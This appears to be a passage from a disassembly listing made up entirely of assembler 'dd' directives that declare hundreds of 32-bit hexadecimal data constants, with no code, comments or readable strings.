		dd 513AEFBh, 744C616Bh,	8C00C192h, 6FDA4023h, 52001AD3h
		dd 0E7A05DEh, 6585EAh, 0FE4C1603h, 4F81BC1h, 1D183116h
		dd 7F4AE800h, 94EA5Eh, 0C1490CD1h, 78413265h, 0B3B6E3Eh
		dd 80CB9D0Fh, 9163A12h,	40C30338h, 36436B0Ch, 77A0809Ch
		dd 5D00017Fh, 0C8451E25h, 85E9C7h, 37DCF5B4h, 839D7376h
		dd 9502BDF0h, 0E0746222h, 0C0854207h, 2D0A124h,	5219E68Dh
		dd 9C60E523h, 960065B0h, 600642BBh, 359ABC2h, 4C7969AFh
		dd 3800F521h, 6D7FE661h, 19B93B4h, 0B7E80C1Ch, 87EF4380h
		dd 792FFA9Eh, 6ACFBFB1h, 50F46071h, 4CD7009Fh, 0FBC8F8F5h
		dd 8F1DAC1Bh, 743290Ch,	0D50B209Ah, 0C45B8C05h,	1D0474D1h
		dd 45F7C8h, 7FD11F51h, 744097DBh, 0A1425200h, 0C779B64h
		dd 6CC70047h, 739A7B3Ch, 0AB0F4914h, 60AE4FFBh,	1859BD8Bh
		dd 15B50040h, 0CF11D62h, 0BAEAE4FEh, 6E6B4700h,	0D9CD973Ch
		dd 0BB2E008Bh, 21C7DC8h, 40773EAAh, 0ABF4E700h,	41666A2Ah
		dd 20A10136h, 6E59A75Ah, 0B51BC41Dh, 65FE48h, 0CA8D45FCh
		dd 3B8748Bh, 0C860AB6Dh, 43A8CE3Ch, 0D7000683h,	1AEA50A6h
		dd 0A09452E3h, 0B1D3C4h, 487CC99h, 72E736E1h, 63ADEE00h
		dd 184315C1h, 64350132h, 0E5DFFC80h, 6F08F2h, 501FD22Bh
		dd 0F9049057h, 4C00F4FAh, 72879E66h, 4A409F5Fh,	5B3001A8h
		dd 806D580Dh, 2D629710h, 612EDBD1h, 969A2090h, 0E8D0F72Ch
		dd 1400BE7Ch, 54EF5E1Dh, 0DF184FFDh, 0F4B970h, 0FED4694Bh
		dd 0EB2965E3h, 0A4337900h, 18B0EA2Bh, 0D81C0066h, 0BEAE5291h
		dd 5D062A96h, 512E39CEh, 0A8380068h, 0B93BC8C1h, 0A20EA05Fh
		dd 41737AE7h, 0FF3E4AA9h, 12A1DED8h, 40B22A13h,	0BB792C04h
		dd 3700CA07h, 55F17CE3h, 0E2BFE4D2h, 6A6D00F7h,	30977954h
		dd 8049A8Ch, 0AE688B9h,	94876C80h, 48130086h, 0B437F04Eh
		dd 6E0FF561h, 0A0CA6C99h, 0A471DA15h, 3BB29859h, 6496A38Dh
		dd 735A03ECh, 56903F1Dh, 0B200029Bh, 249626E0h,	6C4466h
		dd 3ACE27E5h, 2EBF3EAh,	374793Ah, 0AC7DE4FAh, 0D639050h
		dd 0EECC0645h, 48295F81h, 2246E700h, 0C33747E9h, 0A81E0BFDh
		dd 7530D9h, 2CB9CFB6h, 34760EB6h, 26801AFCh, 6A64481Dh
		dd 734A7D00h, 1E619E8Dh, 0AB8306BFh, 581BB936h,	60168101h
		dd 74DC80E4h, 0C21D6F0h, 11DF933Eh, 33004E20h, 801629C8h
		dd 74816F4Ch, 90C400D2h, 92DF8CC3h, 6400D97Eh, 369B1346h
		dd 176278B7h, 0CC6E091h, 1FD01709h, 8C1C8700h, 0C1194A5Fh
		dd 0E783002Dh, 3E39CF82h, 0C574FD4Ch, 31085C03h, 908A3C72h
		dd 5E17B9C7h, 6B29C02Fh, 0E70085D4h, 0B767DAD7h, 0E706FA2h
		dd 0E1B9E228h, 392E7600h, 0D8F75E2Fh, 2403BBB3h, 0C37C782Dh
		dd 2FE85E6h, 0CD754AEEh, 0C08209Ch, 406BCF88h, 273CE0B5h
		dd 830E7C39h, 0D1D74861h, 0E15000CAh, 0C04D3F9Bh, 0A5307397h
		dd 0D6761984h, 0A2351DF3h, 0DD0E8071h, 934EC90Fh, 0B132400h
		dd 3CD945FBh, 6D83C31h,	40F2041Fh, 11AAE7Fh, 0C770A2C2h
		dd 54A0C460h, 706E8C7Ch, 0D030059Eh, 824428B1h,	1CE1A846h
		dd 6FA3F44Bh, 8F50C200h, 0A2DCEA1Eh, 680328C1h,	62261CA4h
		dd 8B587113h, 4065ED2Dh, 0EEFBB9A8h, 3A087601h,	60B8A07Ah
		dd 2C81B882h, 44024F36h, 6D7F4023h, 28FB02E2h, 0EE34040Ch
		dd 767280B0h, 406A1911h, 932523B0h, 1500B578h, 0BF305401h
		dd 14B4FD1Dh, 0AC26E9CDh, 0BD24CA00h, 6D9565EBh, 0C42CE800h
		dd 4FCD7ECEh, 0C9550074h, 1319F720h, 6E24ADE5h,	3B001441h
		dd 0B99A94BDh, 1171003Ah, 0C6421C12h, 0B0A0D60Eh, 0D8053772h
		dd 14BC6FD2h, 3A9F202Ch, 0C2C4CDh, 85EBD94Ah, 1794CAB8h
		dd 135AD08h, 253F7FB7h,	16D04013h, 0D590D16Bh, 0FB0F8690h
		dd 82E15DD5h, 8112DE17h, 0ED7DE9C8h, 53E8ECh, 3B689AB8h
		dd 0D50E6C42h, 64372805h, 0FC00772Bh, 1356A48Bh, 0DF9B00FCh
		dd 29CDA18Fh, 0A30C68D9h, 5067701Ah, 7DA23813h,	14FE9397h
		dd 0BA009653h, 57EA75FBh, 1800833Ah, 2F9CEFF1h,	0F2B674h
		dd 3FEB22FCh, 9BDF6B1h,	0A1921719h, 0C3F51AC1h,	3B580CD3h
		dd 20199A3Dh, 0B4313E00h, 0FE15A432h, 6F064063h, 2C790558h
		dd 8002C7Ch, 3A2BEAFCh,	9AEF0045h, 0ECE770A3h, 0E57652BCh
		dd 2DE0FCB0h, 58722E30h, 60E4FC67h, 18A048C1h, 0EE608E98h
		dd 0D04EEC28h, 561A002Eh, 6E0B0A73h, 2107EF71h,	674966CFh
		dd 0B74EE2D0h, 0DE68006Dh, 3314C4AAh, 0EA00F77Eh, 58569B6Fh
		dd 7382534h, 0CA1C37D0h, 9ABE00C8h, 0C900964Fh,	0EF4B5927h
		dd 3BB9F414h, 1006330Dh, 58E1AB6Fh, 0A7AE3601h,	9E5D57BDh
		dd 0E482E347h, 890D409Dh, 5690085h, 164D2009h, 1A0024A2h
		dd 0AEE53F32h, 90AFA7A3h, 0E4F0178h, 0C4224C34h, 491BF01Ch
		dd 91815Ch, 0CE8AAF6Eh,	1C6C0F18h, 56F9B3h, 0A26528ADh
		dd 4B000B5Bh, 69D9E343h, 0B78B5Dh, 2102F49Ah, 0B1804C25h
		dd 617C0900h, 0E40FCCFDh, 0F0DC00B2h, 96196013h, 0AF039F94h
		dd 0F5427E17h, 6DD3983Ah, 880A0065h, 0A94FF4CCh, 3C00B262h
		dd 4724B4C0h, 0FC2CB8Dh, 29846AA8h, 3E3F4D05h, 730E0004h
		dd 0FD24B7B5h, 761F0096h, 0F130C2F7h, 0CC7F06EAh, 52B8744Eh
		dd 0BD5CD40Ch, 4F0180E4h, 0DE6C2393h, 0ECD08CB1h, 0FDD203AEh
		dd 0C744202Dh, 65C05BD0h, 0B4519F00h, 9D91687Bh, 10433DAEh
		dd 4D499000h, 0B0F6A8EFh, 0CB125900h, 0C8D75F0Bh, 0B4C40096h
		dd 7D9E6082h, 1C0007D8h, 0DE4E4AA0h, 0FA6CB2h, 0C874BE9Ah
		dd 2F57097Eh, 9301CAF8h, 24D1C4D6h, 0BBC8B30Dh,	168F00BCh
		dd 0BE99B48Bh, 8000F122h, 72D07546h, 0EF88ECh, 5569CF71h
		dd 451F2F3Fh, 0C2E2E000h, 5CFCADD8h, 6BD600CBh,	14126121h
		dd 3F0F0CB7h, 602B8F01h, 5D3A3BB3h, 0F77B87Fh, 632AFDF3h
		dd 0F084C260h, 0A60F75D8h, 0C0F5ED4Ch, 8342E3C6h, 0E28200F1h
		dd 0EFC1D0D6h, 4100A46Dh, 0EB939DA1h, 1C44E30Eh, 0C5C9267Ch
		dd 0C08002B3h, 60787F32h, 7BB6EF0Ah, 1F00D884h,	0F03BF8AEh
		dd 7238005Ch, 0D1443EB7h, 151E29A8h, 870EBFCEh,	0EDCAA0ECh
		dd 0D6211C79h, 85730038h, 3AB71D8Fh, 0DDCEDF00h, 582A05A9h
		dd 7BAC0F60h, 4C80D6B1h, 35C028A6h, 693BE61Fh, 1C8ED054h
		dd 0E3400A9Dh, 0DC375534h, 0EF2C1F97h, 5A6B8070h, 0D64AC6Ah
		dd 0FA429B12h, 4E00E0ACh, 7D1DD99Ch, 0F200CE53h, 0E1E838A9h
		dd 7B071AC9h, 5F430FDEh, 407E1974h, 9AF4CAF1h, 4D03BC42h
		dd 0FC10488h, 56E4C8DAh, 0DBF600B8h, 3B857841h,	0A73B7225h
		dd 0B3E500BAh, 0E3E8FA0Ch, 2EB00C13h, 0FCF0F021h, 4F2BBD0Fh
		dd 7A8F0065h, 0BA68A7h,	69CD2502h, 0B533F7Ch, 5200A575h
		dd 57A47984h, 0BCA38Ch,	2F077B4Ch, 4DAEB011h, 79B6ACA0h
		dd 0FB564300h, 0C01965A6h, 0FF1E006Ch, 63840B3Bh, 2020361h
		dd 5CDDBA6Eh, 0CD524020h, 69C20074h, 61223992h,	9800F18Ch
		dd 49DE15DCh, 6AB63Eh, 875DD45Eh, 3226E108h, 7244E800h
		dd 1169E663h, 3F521ECCh
		dd 0B6754006h, 0CF39258Eh, 0DB26EE05h, 0C900CED0h, 715868Bh
		dd 23790037h, 0C5C91D91h, 4E01D8DAh, 3CEF82D3h,	89C03D2Ah
		dd 9D1A0070h, 0A456C9B1h, 310178EBh, 3E61C15Dh,	0A36054EDh
		dd 0BCFB0034h, 0FD977BC4h, 2490775Ch, 24C2A710h, 1CAE3009h
		dd 71B17087h, 0D8C4C6A2h, 4E00D2CEh, 15945049h,	9EC384h
		dd 172B185Ch, 230657FBh, 5121E600h, 9AF58214h, 0BFEC1C38h
		dd 5D6404B8h, 95B5E008h, 0FCF1E700h, 54BE5327h,	3B8A7B1Ch
		dd 7D1FDD49h, 0A9E4116h, 0E0696DBCh, 0A50386E2h, 5DB30CADh
		dd 0B162F01Ch, 0D92600ECh, 5433D823h, 7E01BBB4h, 0C1CB82A9h
		dd 0BECC2C76h, 0F7A31437h, 6900D252h, 255A0C7Ah, 6B00DF90h
		dd 0DD44F1AAh, 121B11h,	0BA483F27h, 0E56707F8h,	8D9EC600h
		dd 30A263A9h, 0CE27096Ah, 6103D992h, 0BA991365h, 42ADE4D3h
		dd 0EF507C02h, 41F396C9h, 59603D08h, 9C0801F5h,	89E9831Fh
		dd 34AFE4B4h, 1105487Ch, 9546A67Eh, 0E8F3F380h,	67C8014Dh
		dd 29B8EA66h, 9C3B20F7h, 0A1DD030Fh, 525D40D2h,	3733E70h
		dd 0BF3FD0A4h, 46F0BAEEh, 0E5004741h, 0AE54F60Eh, 1B202D5h
		dd 0F1BC5BB9h, 0E45D4DDBh, 6C702197h, 0B3438200h, 0F7D89011h
		dd 7CF80045h, 9610A25Dh, 1A00A6DDh, 17BCF32Ch, 0E856E3h
		dd 8735061Fh, 4ED56657h, 0B56BF212h, 0B3151007h, 0D15414E0h
		dd 7A763DC0h, 662C6A80h, 40B11E9Ch, 0E8B9D001h,	7EDDECC6h
		dd 5E442080h, 0A0711425h, 30684B0Fh, 95A48074h,	3EDFF5CEh
		dd 3F000EE1h, 9DAAFB82h, 5DE62AFAh, 0A3E57C00h,	8D165A21h
		dd 94530725h, 0D320EC98h, 769B1FAEh, 0F45033C1h, 770FCD89h
		dd 401CC294h, 7AEC81AAh, 0A028C093h, 3B27D031h,	0BC03C398h
		dd 9912057Fh, 0D8F3DBCFh, 48E0981Fh, 210F5976h,	5AE08E31h
		dd 6BA59524h, 0DE606100h, 3BE0EA84h, 3EA6E2CEh,	70078B58h
		dd 8FAE5A80h, 0EBAFDBA0h, 4103631Eh, 0C4A2F44Bh, 0DF0DA122h
		dd 1084FCh, 6175ADD0h, 5991EC6Dh, 8BAD902h, 0F73957AFh
		dd 0EE76B160h, 0FA5C8D00h, 6FA0F4CBh, 914900C1h, 3F86E789h
		dd 3A0044C9h, 0D94B5105h, 904ECD85h, 0D9205C5Ch, 78808F3Fh
		dd 0B8BCD63Dh, 790FFF34h, 0AED790h, 0CAC31059h,	0D51B0304h
		dd 0D9F56488h, 7633909Fh, 0EA00A88Bh, 0AA352517h, 70280Eh
		dd 3C079FDBh, 0DF81A501h, 4BBB0601h, 0BEB33264h, 1CA75DC4h
		dd 5DC7C284h, 5FD0DCB1h, 0D3AA81D6h, 0D0A0C808h, 2B00BEE0h
		dd 8A04B0CEh, 475949h, 77E9E34Ch, 0CDE6D92Fh, 19A04000h
		dd 7610BF68h, 0F1870157h, 2FEA5AEFh, 0C44FDC84h, 3E22D800h
		dd 0FDF7E072h, 0B6A0BBEh, 70A0B81Fh, 50D8EDC3h,	1A00717Dh
		dd 3B8F6D64h, 0E2EB5Ah,	2021DD87h, 32C790BAh, 1A42E700h
		dd 4158F7D1h, 0AFED00CBh, 6F1DD08Fh, 0FF0F1847h, 0B5B296h
		dd 0C92E3F83h, 0A5B80AB1h, 17084C4Eh, 90F10610h, 0E2008183h
		dd 0CD34EFCFh, 74C7FAADh, 0B1EC005Eh, 9125D806h, 8207AEA8h
		dd 0BC8758A2h, 0B219A5E1h, 44B798E3h, 0A19100A7h, 7D7382DCh
		dd 0E019045h, 15DE17Eh,	0CAF0C457h, 728DE224h, 0C6925C26h
		dd 9A0BC101h, 0E447EF77h, 0E900AD51h, 913B11E6h, 3DACBDB1h
		dd 0D6877566h, 0E33F4D46h, 80ECF784h, 0EBE534E0h, 8961F901h
		dd 0F65413ADh, 0E2901F7h, 85BC84D8h, 0A2A4E40Fh, 39335701h
		dd 0FCAEBB7Ah, 8AA9FCh,	0E651FE55h, 8899B2Fh, 380108B0h
		dd 0D4CDB776h, 0C03083E4h, 48DA7152h, 6E002F3Ch, 0EF66997Bh
		dd 0DF2F52Dh, 85316500h, 0ED347E1Ch, 5F0F0007h,	4326E4Eh
		dd 56745D30h, 36ADE30Bh, 77EAC295h, 0F88B9D40h,	0ED285700h
		dd 0A1462794h, 0AE2600DFh, 0B7D43E30h, 0CA12CBAFh, 2F00E32Eh
		dd 0BB01EABCh, 847143Ah, 6D12D8AEh, 0E9620067h,	0E42A2EF4h
		dd 5D88C200h, 0F631969Ch, 15AB0095h, 0C7BA67A0h, 983F72CEh
		dd 4EE8029h, 0AB2C0ACFh, 0A8F71F64h, 0F95700F0h, 0A959AFA6h
		dd 629C1413h, 80B6E44Eh, 0E3ACDB2Ch, 401E09BFh,	1100AB83h
		dd 4F1A416Ch, 383FAA00h, 0ACE2924Ch, 2C1B2C34h,	3082C09h
		dd 0C9CAAF29h, 0A04D4C80h, 1A3D6C0Ch, 0DD10B3h,	57F4A875h
		dd 74E05997h, 871F0200h, 0AD85A6DAh, 4BA10E6Dh,	0CAC0E577h
		dd 21AEAA0Ch, 305B7A30h, 8F467C0h, 0BCB6A722h, 186858CCh
		dd 3074A2AAh, 590A9CDCh, 2C5F2B20h, 884552C1h, 0E9E02916h
		dd 0EC19A075h, 4008CA12h, 2C21305Dh, 3601C0Ch, 0A7F8D7E8h
		dd 2CA5DE3Ch, 0D426A64h, 0C6403960h, 0CC3053FEh, 0E2C740D1h
		dd 2338ACBDh, 0A0859398h, 3060A15Fh, 0FD37F2B2h, 5004800Ch
		dd 1E7EF8Ch, 0A1279C83h, 9C4F29DAh, 34795814h, 0EF64E0C3h
		dd 98844042h, 46EEEA70h, 0FDC0000Ch, 0D367EF48h, 4330ACA6h
		dd 0AAB91438h, 8CAF14CCh, 1160A618h, 6E3758DAh,	431D0031h
		dd 508587EFh, 14B298E3h, 0D4E729FDh, 603861F4h,	27EFF0E9h
		dd 240A8C26h, 1640A91Ah, 0D280C2BCh, 40300CEDh,	0EF980A52h
		dd 8DFCC7h, 514E1407h, 0B40FF10Ch, 0D420A724h, 0F708E048h
		dd 0A7443A2h, 8092E5A0h, 31EC7CABh, 76012080h, 3060B23Ah
		dd 33E709A7h, 3B10C0CDh, 26278422h, 7FA81765h, 28009414h
		dd 24898A8h, 98716804h,	36E01956h, 410348B8h, 5010479Ch
		dd 53F95AC0h, 5CD20C24h, 2F9E093Eh, 0B07C151Fh,	41A5C059h
		dd 0FAC7240Ah, 0D30AA499h, 2438CC61h, 4C73A0FCh, 5040ADA0h
		dd 20E1488Ah, 80F77218h, 0A0C948C7h, 24F4162Ch,	222455E2h
		dd 608FE01Ch, 7BEB305Fh, 835239D1h, 54E8CED8h, 12F4D438h
		dd 182C2EE9h, 20900CFFh, 6811805Eh, 6A8AC109h, 60588F53h
		dd 0EC1E6294h, 10CE48D2h, 0A574FB39h, 540680C4h, 0ABEFF746h
		dd 3A87C0A0h, 638F557h,	9286AB26h, 0DBC01661h, 808010D7h
		dd 0F4A90CA3h, 2816EB2Ah, 0EA0A7120h, 37E060C6h, 0DC64EA7Eh
		dd 0DE450028h, 0E0D0E6B1h, 0C8A526E8h, 0B2B8A03h, 8994FA91h
		dd 1E55E8Ch, 0F1D9067h,	0D84BC42Ch, 7695461Dh, 5683202Bh
		dd 1CE81E0Bh, 83214071h, 225BA70Dh, 0F62F27A1h,	88789CE0h
		dd 786CD857h, 47D6D909h, 8EA4209Ah, 856C19A8h, 89FCD701h
		dd 0C4505E2Ah, 141A333Bh, 18A2BC2Ch, 0A88613A0h, 0D8E99D30h
		dd 0E0794EE0h, 55F50B8Ch, 0AA562C0Ch, 0A0A0CC14h, 32144D9Bh
		dd 0C038D57Eh, 6C1040D7h, 0C572B0Ah, 0F5598718h, 0F35CE2A7h
		dd 75E5CC82h, 74308CC2h, 8E075551h, 52CB451Ah, 5830F805h
		dd 235871h, 52C8FF95h, 0D861460h, 1A644712h, 569C838h
		dd 0DF0F7675h, 9BC1CFDh, 58960D34h, 283B1406h, 928CCC5h
		dd 22E0FFA0h, 0F802B016h, 1ED059DCh, 8FB081FCh,	285C1A43h
		dd 35D00C32h, 0E0C84453h, 0D4F0A02h, 0C1D6C587h, 0C7F468E4h
		dd 0B930246h, 0B25C471Ah, 53E8D040h, 0B647A6F8h, 3967D907h
		dd 0DA0AA5Dh, 214803C0h, 0E7088424h, 9C800DD7h,	13F8F18Bh
		dd 16A74F67h, 20042830h, 0F00DA23Bh, 0ECCFE8DDh, 72B01087h
		dd 9DF21816h, 0C50970DCh, 2E54011Eh, 0A862F50Ch, 616C73C1h
		dd 60A050FEh, 0DEE1DC5Eh, 38472662h, 5E8CDB1Ch,	48408926h
		dd 2C13204Ah, 8E503CF2h, 0D430CAFCh, 7EA090A4h,	273E0448h
		dd 0CB0D155Fh, 98CD3918h, 80913ABFh, 18E34C5Fh,	3BF49E0h
		dd 58980F30h, 1F0E2AE0h, 83358721h, 8E730729h, 0C9A42CA5h
		dd 0A0B2753Dh, 55C014E6h, 0B71DC8BAh, 0AAAC0074h, 828C7243h
		dd 26B9E601h, 0FC7FFB6Ah, 9EDEC8h, 8DA68BC3h, 5DB568ABh
		dd 0DBF34C1Dh, 0C3CAEC1Bh
		dd 0B829F8CCh, 0B76A1FACh, 0E8340C62h, 306F218h, 2EE54C30h
		dd 0FCD02930h, 81F10230h, 0CEE067BAh, 1D018B8Dh, 16AC5795h
		dd 60D023E7h, 3C0CE8FEh, 4C0C3A89h, 8A0811B3h, 87520D1Ch
		dd 0E7369741h, 47D0D51Fh, 78A864C6h, 61CAF03h, 18F7803Eh
		dd 0B8F87ED8h, 56A8079Ch, 43A9E76Ch, 3074C08Ch,	0A0289E31h
		dd 109F2450h, 74BC3EBh,	6CE0D592h, 9F156ABDh, 0CF903D67h
		dd 573042E9h, 4EB0184h,	493400DAh, 0D2E5E955h, 0AE0EC080h
		dd 0A43A0787h, 0B81F7B77h, 4F245D2Bh, 116C3030h, 28AC1456h
		dd 24803005h, 985F9B5Ch, 0CB8DA90Ah, 0CC04C09Dh, 0FF0699C9h
		dd 0C703A07Ah, 87AC2B94h, 0A0087BA7h, 3AFE4CA0h, 69302CA6h
		dd 4D85CCE0h, 13BCF4A0h, 0C56C4E1Dh, 0FC8740CAh, 14B73950h
		dd 0CCC9AD52h, 46BB2B00h, 0D485AC55h, 652C5D07h, 6C4E57F7h
		dd 651E10EDh, 71D7D071h, 0C44D72F0h, 0B80DCACh,	58EB0AC9h
		dd 5902A2Ch, 7181EECh, 0CFEF4CB8h, 50C0EE06h, 6CE88A61h
		dd 0E401D454h, 1860943Eh, 0FCCC0CB0h, 500E08C2h, 0E5EAA01Fh
		dd 662DACF0h, 0A08030F3h, 71ACC00h, 4BF02C4Eh, 0C00C30B8h
		dd 2704C60h, 2445E1F9h,	0F107A254h, 8EA68DE5h, 0B460CD40h
		dd 462D1DFBh, 441E3C02h, 866D0607h, 0B32808BDh,	8C63A06Bh
		dd 0FB7AD18h, 62F13109h, 0B801D363h, 4E2085F8h,	10C6EDF0h
		dd 3F08E9ACh, 62837E4Ch, 4F49D46Ch, 111F5CA3h, 6436BF3h
		dd 0A1BBD39Ah, 0A6D0A4F5h, 681F0094h, 0D46AC87h, 8D032DCDh
		dd 0B6076690h, 5934A0BBh, 6D4D3BA1h, 320DAD86h,	9200409Fh
		dd 0D86768B6h, 3C2769C2h, 3C74B84Dh, 0FA03CB8Eh, 5BEBEEF9h
		dd 0D0C01CA1h, 7BE86EE3h, 0C8624F07h, 0EB9003BBh, 0E9D05F3Bh
		dd 0F0E479E0h, 46691FDBh, 5BAD00C9h, 29609BC8h,	3ECC8B80h
		dd 0C1BC7009h, 88A8037Ch, 30E050DDh, 446AB0C7h,	2502F03Dh
		dd 151BC959h, 0DB80096Bh, 3AAFBBC0h, 0FC2908C5h, 11899BC1h
		dd 6CEFBF0h, 0F15BC6A2h, 1C4018B5h, 2EFD34BBh, 20B286B0h
		dd 0EF174579h, 1E1DC9D0h, 1856E607h, 0C0DB1AF3h, 0F8C83CB0h
		dd 0F061F250h, 0A56A3990h, 0FA0D000h, 1208706Dh, 0C7991601h
		dd 78F9185Ch, 7DC419F5h, 1BFA015Ah, 0BBF513B5h,	110BA6Eh
		dd 0AF94F95Dh, 9BE12799h, 1DEB4AE8h, 4F0E70h, 0FF864D0h
		dd 0C2606B3Bh, 561FA340h, 32E0771h, 0B00DAB1Ch,	5169A541h
		dd 1B3C2A0Ch, 7D322821h, 0AFDB184Dh, 38860825h,	0F8E73780h
		dd 6061033Bh, 810D7BF5h, 4F621800h, 0D118BBFFh,	319B1F55h
		dd 9F5B0619h, 1329823h,	83CA280Bh, 78E51BF8h, 3FFEB30h
		dd 98E78610h, 40C7CF1Ah, 0DDFC7B3Ah, 9488B001h,	0CA499BEBh
		dd 891CF041h, 0F12AC841h, 288060F3h, 0D125FDD0h, 0E3DE101Ah
		dd 0FFD78150h, 70805EFBh, 9986903Bh, 0E266893Ah, 12186910h
		dd 362929Bh, 0C8668414h, 244018E2h, 0E466997Bh,	6A13F60h
		dd 0FBC83D5Ah, 0CC00318Ah, 56B0D111h, 6650099Dh, 9DB409Fh
		dd 8CD44AA1h, 8FE8548h,	0C0F26234h, 20407135h, 4890060Ah
		dd 0C940BB03h, 0A04A7E9Bh, 90D742FBh, 0AF3C020Ch, 0D6D1D919h
		dd 0F76B1C40h, 7B482C90h, 5100A24h, 9000A865h, 0ED9B0FF9h
		dd 4ECACFDh, 73400D7Ch,	4F401E58h, 501BF40Fh, 0F0DD05F7h
		dd 70FAE885h, 0EA925A1Ch, 360096ECh, 9D5BFC2Ah,	767BFAh
		dd 0A3F0E7FEh, 0BBEF9586h, 14304B48h, 87201E46h, 2F00636Fh
		dd 142A351Fh, 3411F7DCh, 0B26764A0h, 286C1631h,	60213FBCh
		dd 7587520h, 6EB13BF5h,	0C68742F4h, 38912440h, 0C4247D80h
		dd 872DAF08h, 38F81654h, 385648h, 0F515EDBBh, 12F07B9Bh
		dd 66D7A98h, 60795B48h,	0E8411B28h, 4C92A2F0h, 82778300h
		dd 99872BDAh, 924C039Ah, 9C6BDB55h, 0FF760801h,	4D80FA98h
		dd 935D508Ch, 3D717140h, 31BE1013h, 0F5E40404h,	0CED5880h
		dd 9E901DD1h, 0C3D00407h, 2358C3CEh, 1BA9012h, 0F2FB3C03h
		dd 670802E3h, 0FEFA998Bh, 13D28469h, 7BC8E8E4h,	70654044h
		dd 1A3A88CDh, 18EE509Ah, 3D299400h, 44902C50h, 1BE97002h
		dd 4873F0D1h, 983FF1A0h, 58CD4878h, 56825000h, 5EC6BBC9h
		dd 4A037BE8h, 6D5BF5F1h, 7EDBE155h, 8E9B0886h, 0B64C5831h
		dd 0FFD018A8h, 98199048h, 7C40F0A0h, 9A43F0C6h,	467632A4h
		dd 78408438h, 0C364BCBBh, 0A4D07908h, 13D31B8Eh, 5BEC70h
		dd 7F052788h, 8C9A1130h, 78129F3Ah, 0EFF39206h,	1B08C550h
		dd 10F55990h, 4000119Bh, 107F33A7h, 0F185477h, 0EFCFD2D9h
		dd 0A8A7E209h, 4049942h, 0DB1C815Fh, 7B60308Bh,	0E809846Eh
		dd 886509DCh, 0B6941C02h, 0D3A3A040h, 0CD3D3490h, 747B8C82h
		dd 40DC282Ch, 881C0A30h, 0D48C5B0Fh, 3F31D8F3h,	0B8837BDEh
		dd 0E7139BF0h, 6E8B1001h, 0CBCC70EAh, 0C954BA00h, 49B5B12h
		dd 0EA7A8060h, 764224EEh, 949C0AD0h, 3EDA6010h,	20F315F4h
		dd 874D7C90h, 0AC0F26C0h, 9CC74989h, 0A7D000E8h, 52BB7E02h
		dd 3E485C2Ah, 623B1E7Ch, 6E0C1CA6h, 2B98D839h, 814CFB83h
		dd 0F1B7B5F8h, 3C78867Eh, 2868F790h, 0EA842E50h, 0AC40C52Dh
		dd 102C82C4h, 1A28843h,	0C028046Eh, 256FAB77h, 27392448h
		dd 0F4367E00h, 0B82B215Bh, 76801CC6h, 0B59573B9h, 0FC231C47h
		dd 7770F2BDh, 0F79C1498h, 0A4D5B709h, 87348266h, 123CC0D2h
		dd 1BC0164Dh, 7BD402BEh, 9C42E42Ch, 5EBAA0A2h, 0D7DBE4C1h
		dd 24A481C5h, 2250C85Bh, 0D8F8C098h, 0FBF43CB8h, 0E8F02874h
		dd 1F9B08C2h, 6FCC4103h, 4CBC3474h, 9F021C7Eh, 0B170EFF6h
		dd 0B9FB5DC0h, 7BF4CA1Fh, 0DE10F398h, 0F0EB1609h, 30CC0206h
		dd 0E4802F80h, 1B0FBCA7h, 0C0D45F21h, 0E2B1C6D3h, 0BCE09EEBh
		dd 3000DCA6h, 90245C8Eh, 18415861h, 0B0108131h,	689024D7h
		dd 904C9890h, 43BEA0B8h, 0A5F03180h, 8A089C50h,	0EC7F1BC8h
		dd 4028BB12h, 7636046Ah, 966A6A7h, 5448882Dh, 0E596A8E0h
		dd 0D8A0508Ch, 44DF4C5Ch, 6B18B00Ch, 0F1C2A258h, 0B8C6AEEEh
		dd 17A46134h, 44591270h, 93F4540h, 22C1E68h, 0A455EFBAh
		dd 350265FEh, 22646074h, 1A4A706h, 0AEE76191h, 0FD2824BAh
		dd 74F80465h, 0C048E811h, 5DDC3E73h, 235A3ABAh,	5299992h
		dd 81CFCB00h, 603AD6D8h, 186F4B1Ch, 0CD548E0h, 0E210C6B9h
		dd 0FB0FDE0Ah, 67E0C0ECh, 62C05DA3h, 51BC88CBh,	83BBC60h
		dd 6390CA62h, 832C40F7h, 0E368CA07h, 9B690F0h, 8375C1F0h
		dd 174B90B4h, 4283D08h,	81791F44h, 305CD0ECh, 18948EACh
		dd 8C04E713h, 0A4D19350h, 2070C1B5h, 7DFB7C59h,	7F071C30h
		dd 9008B0F0h, 0F1F10205h, 0F320215Eh, 502880FCh, 2C90C834h
		dd 10131D30h, 307F18B9h, 303876D0h, 20DF5848h, 2B086039h
		dd 0F4191612h, 7C6D4834h, 0DA08C473h, 69BC040Ah, 0A2D0A118h
		dd 0EB80C2B0h, 90036BC7h, 7919A188h, 843858FFh,	0AA683B31h
		dd 0C1808C14h, 13DBB00Dh, 181A8399h, 610990C5h,	907B80CCh
		dd 0A00C6F10h, 384D0506h, 10B02971h, 78F6F434h,	61F0D2C2h
		dd 88FAF67h, 0FB008D11h, 3BF2B16Eh, 57E98560h, 671BF356h
		dd 785B081Ch, 0A8020D97h, 636EE6DBh, 1881BDB0h,	0B030BAFBh
		dd 0A07233BBh, 0C98FC750h, 95827880h, 0A8B8508Fh, 11C59B19h
		dd 14305828h, 0CEEF2C1Bh, 1711B14Ch, 0D8388B25h, 92BC86A8h
		dd 518CA110h, 41FC3820h, 0D0F8700Dh, 64C3E32Ch,	501D7B16h
		dd 5BDFF0Fh, 709395BBh,	780852F2h, 0D5D3AFC1h, 9C4C24C1h
		dd 58504E2Ch, 18F2EA70h
		dd 28A7E9D3h, 54B8987Ch, 3487D0A5h, 29CC0ECCh, 4019085Ch
		dd 29503024h, 392A2237h, 709B3C24h, 0DDEEBB05h,	134D2C28h
		dd 5E868AB3h, 0FC487D60h, 45701B13h, 9BDFE8h, 0F3734D88h
		dd 0ED3A8D3Bh, 0D8591DDEh, 0B162FB00h, 0B0F230E0h, 4C1B2CCCh
		dd 78BB02D8h, 8C9655B2h, 8616F40Bh, 0FC3020D6h,	0C0CC7Dh
		dd 55DA17FBh, 0D31611DBh, 5F1AF014h, 0B80A28D4h, 88123B10h
		dd 0F3D5C409h, 35040496h, 8EB7E2CAh, 4D0FDC03h,	0C327F001h
		dd 0C7FFB55h, 587C7020h, 0ED511852h, 409BFC01h,	5CDA70E0h
		dd 0BC37404Eh, 0F651B2E0h, 6030F4E2h, 222680B1h, 0BC8294E5h
		dd 0C5C0E96Ah, 29B287A4h, 97BFE449h, 0CC024B00h, 460131Bh
		dd 0C0486830h, 22B21898h, 0B22707E8h, 4824B218h, 0E25870A5h
